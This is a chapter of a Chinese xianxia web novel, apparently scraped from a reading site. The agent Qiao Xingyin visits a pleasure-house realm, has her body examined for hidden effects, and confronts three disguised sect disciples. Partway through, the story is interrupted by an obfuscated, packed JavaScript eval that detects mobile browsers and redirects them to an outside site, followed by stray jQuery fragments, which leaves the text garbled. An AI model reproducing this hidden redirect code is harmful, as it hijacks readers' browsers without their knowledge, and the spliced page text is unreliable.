11. 牵四挂五(六)
作品:《双重卧底已在修罗场》 销魂窟位于三宫界最外围,窟内每一壁小世界,均以秘画相连相通。卷卷图画绘于窟壁,各有特色。虽然各壁风格不尽相同,却都离不开同一个主题——供人寻欢作乐。
仅剩的五壁内,没有了以往禁锢于画的情奴,便换成了如今自愿陷画的宠陪,众修士以魂入画,于画中化形,在色欲中沉沦享受,在放纵中释放压力。无论何时,销魂窟里总是汇聚着各界修士或浓或淡的黑白魂影。
如今看来,纵然少了十九壁,入窟修士的魂影数量,依然只增不减。
乔行吟要入的,是销魂窟中的云雨壁。
云雨壁,取“云情雨意”“云交雨合”之意,对应的壁画内容最长最多,从上到下占满了销魂窟的一整面窟壁。
壁画上,绘制着勾连缠绕的绰约身影,各色身影隐于苍茫云雾之间,犹抱琵琶半遮面,遮遮掩掩间,更诱人只盼能多窥得几分风情。走近壁画,可听见画中由内而外传来淅淅沥沥的雨声,若再凝神细细听去,雨声中又像是夹杂了一些什么别的声音,道道交缠人影,声声欢言浪语,云绕雨淋间让人流连忘返,勾得人魂牵梦绕。
乔行吟的魂影来到云雨壁前,以魂入画。甫一定神,便已身处一条南北贯通的大道之上。
云雨壁内,是经久的暗夜缱绻,云积月掩,细雨霏霏。
大道两侧一座座朱红乐坊夹道伫立,挨挨挤挤却又错落有致。乐坊画阁上垂落的红缦透着微湿水汽、衬着朦胧灯光,飘忽迷离,极为诱惑幽美。
这般奢靡的纸醉金迷之景,正是云雨壁中尤为有名的众乐道。
乔行吟抚去积在身上的薄薄一层水汽,走进众乐道中一间乐坊。
———
“如何?”乔行吟问道。
抵着乔行吟额头的红衣女子传音道:“有松动。”
红衣女子抬起头,额上微微渗出的一层薄汗被房内燃着的一盏灯光照得闪烁。
她目露诧异:“他确实算得上个人才。没想到将归原宗的‘入念诀’逆转改造后,竟能达成这样的奇效。”
乔行吟道:“所以,宫内要求林少绝不许轻易使用‘断识焚’。可惜,林少绝创下此招后并未加以精进。据我亲身体验,此招对灵识一焚俱焚,不能长时承受,还是无法全然达到我要的效果。以后若有合适的机会,我会再从他手下尝试几次。”
乔行吟说得轻巧,艳娘却听的心惊肉跳。
她颇为担忧地注视着乔行吟,心想:“恩人居然丝毫没有……丝毫没有……把自己灵体需要承受的痛苦,纳入考虑之中。”
“艳娘,劳你再探看我体内其他地方。”
艳娘这次将头抵在乔行吟的胸口处。
双目透体,乔行吟体内奇经八脉、五脏六腑俱纳于艳娘眼中。
滚滚汗珠渗入艳娘的乌发,半响后,她平复呼吸,道:“手腕上大陵穴被一枚银针封住。除此之外,目前暂未发现其他异状。”
乔行吟此时方将银针取出,道:“这样呢?前后可有什么变化?”
艳娘摇头道,“没有变化。”
“艳娘,辛苦了。”乔行吟将一粒魔核递予艳娘后垂下双目。
除了乐坊前厅外,乐坊中的每间画阁皆以结界相隔。
这间画阁在乐坊深处的尽头,其他各处或嬉闹或惨叫或调笑的声音传不进来,两人相对,便只剩下一室静默。
心知不应当开口,犹豫片刻,乔行吟还是忍不住道:“艳娘,饮鸩止渴,终究不是长久之策。”
艳娘苦笑道:“没有办法,我真的没有办法了。”
“恩人,人各有志。”
艳娘咬了咬艳红的嘴唇,“以我的状况,只有借助魔核才能更进一步修炼天目。没有在销魂窟中找到人之前,我不会停下。”
吸收魔核之后,她眼中的赤色,比红唇更深。
艳娘幽幽道:“现在,即便当个宠陪,也没有谁能欺到我头上。呵呵,恩人,有些人的魂,留着也是脏了世间,送给我吸,倒还能有那么点儿作用。最起码,可予我几分享受。”
“待我用天目找到人……之后…….之后便能一同出去了。”
———
乔行吟从画阁内传回乐坊前厅,故意停留在此处,坐于底楼一张方桌前。
按照正常的顺序,入壁的修士如果想要进入画阁,本应在前厅先挑好宠陪,无论双方以什么方式看对眼,谈好玩法与交易条件后,再由宠陪领其从前厅传送至随机分配的画阁之中。
乔行吟于隐蔽之处跃过了这一道,算算时间,她自是要回前厅做做样子,以防万一。她推拒了好几位宠陪,与身边几个魔修谈论、交换着零零散散的信息,估摸着正是离开的时候,眼风一扫,便见着两名青衣修士拥着一名蓝衣修士匆匆进入乐坊。
观其身形,均为男子。
这三名修士格外引人注目,特意耗魂模糊了一大半容貌,浑身都透露一股“我知道我来这地方见不得人”的心虚劲。
现在的销魂窟中,“黑吃黑”往往发生在外界入窟的修士之间,甚至实力不够,宠陪都能将人剥皮拆骨,宁愿耗魂也要对面容做些无谓遮掩的情况,其他人一看便知晓——几人定是不敢明目张胆来找乐子的名宗灵修。
毕竟,魔修可以大摇大摆地行走于销魂窟,灵修则不然。
绝大部分名门望宗,皆将销魂窟作为宗内弟子的明令禁止之地。
观这三人宗服,乔行吟分辨出了个大概,是两名平清宗弟子加上一名九玄宗弟子。
其中一名平清宗弟子看来是销魂窟的常客,在前厅随便找了一张可以仰观宠伴种种风情的桌子,便张罗着另外两人落座。
乔行吟隐隐听到这人道:“东门兄,你抬头往楼上看看,对哪个宠陪有点意思,跟兄弟说说,我去谈。这儿我熟门熟路,此处若是没有中意的,我们再换个地方。”
“你说的趣事,就是这?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341829|152098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“无聊!”被唤为“东门兄”的九玄宗修士声音里显出些兴致缺缺。
“你不是说,这里可以知道我想要的消息吗?”他不耐烦地问道。
那名平清宗修士道:“是啊,除了伏圣殿的魔修,就属销魂窟这儿知道的各种小道消息最多了,来这儿没错啊。”
“不过,问消息是一方面,顺便体会体会一二,也是没错的嘛。”
另外一名平清宗修士不知道是不是担心这名九玄宗修士不与他们同行便会告发,也帮腔道:“东门兄,你之后入了立圣渊,要受的规矩可比我们严多了。此时不乐,更待何时。既然来了,便都是一条船上的人,不兴中途离场的啊。这种前迹,到时候被扒了出来,对你的影响可不好吧。”
那名九玄宗修士道:“你这是在威胁我?”
那名平清宗修士连连否认:“那可不敢。”
“我们怎么敢威胁你们东门氏的人?尤其是你东门铮的好堂兄还是那位大名鼎鼎的东门煊。”最先开腔的那名平清宗修士大声喊明东门铮的出处与姓名。
“这不是看着你初次来我们宗门交换,形单影只的,兄弟们想和东门兄做个朋友,才将好东西与你分享。唉,哪里知道你没有这么喜欢我们的心意。”
“你想问消息是吧,喏,周围都是人,跟他们做交易就行。或者,你试试宠陪,说不定更有惊喜呢。”
东门铮听到“朋友”二字似有触动,丝毫没有察觉言谈间自己的信息已经被另外两人在销魂窟中卖了个干净。
他透着几分稚气的声音里压下怒火,道:“伏圣殿里的魔修都是一群三宫培养的走狗,是见不得光的老鼠,怎么在你嘴里还有名起来了。”
“这销魂窟,我看也就这样。进来还得藏头露尾,里面也妖里妖气。还问什么消息,我呆在这里就烦!早知道你说的是这种地方,我才不来,我走了。”
东门铮当即便要脱魂离开。
两名平清宗修士对视一眼,其中一人道:“哈哈哈,走狗?老鼠?东门兄,你点评得真对。”
那名平清宗修士在东门铮背后暗自捏了一个诀,正要动作。
却未成想,猝不及防间,三人齐齐被一道魔气轰出了乐坊。
乔行吟的声音传来:“好大的口气,说我伏圣殿的人都是见不得光的走狗与老鼠?”
“是该让你们长长记性,知道销魂窟不是随来随往、肆意说话的地方。”
乔行吟仍是伏圣者的装束,此时一出手,便被三人认了出来。
她未等东门铮回过神来,便将他一击给震脱了魂,似是极为恼火这个小子刚才的言论。
又似是察觉到自己出手太快,反而放走了罪魁祸首,应当仔细与这几人算账才好,便将剩余两位平清宗修士抹去模糊的容貌,朝着两人举步上前,压迫感十足。
那两位潜伏在平清宗的伏圣影心道不好,又惊又慌,以为乔行吟误会了,连忙道:“伏五魔上,自己人啊!”

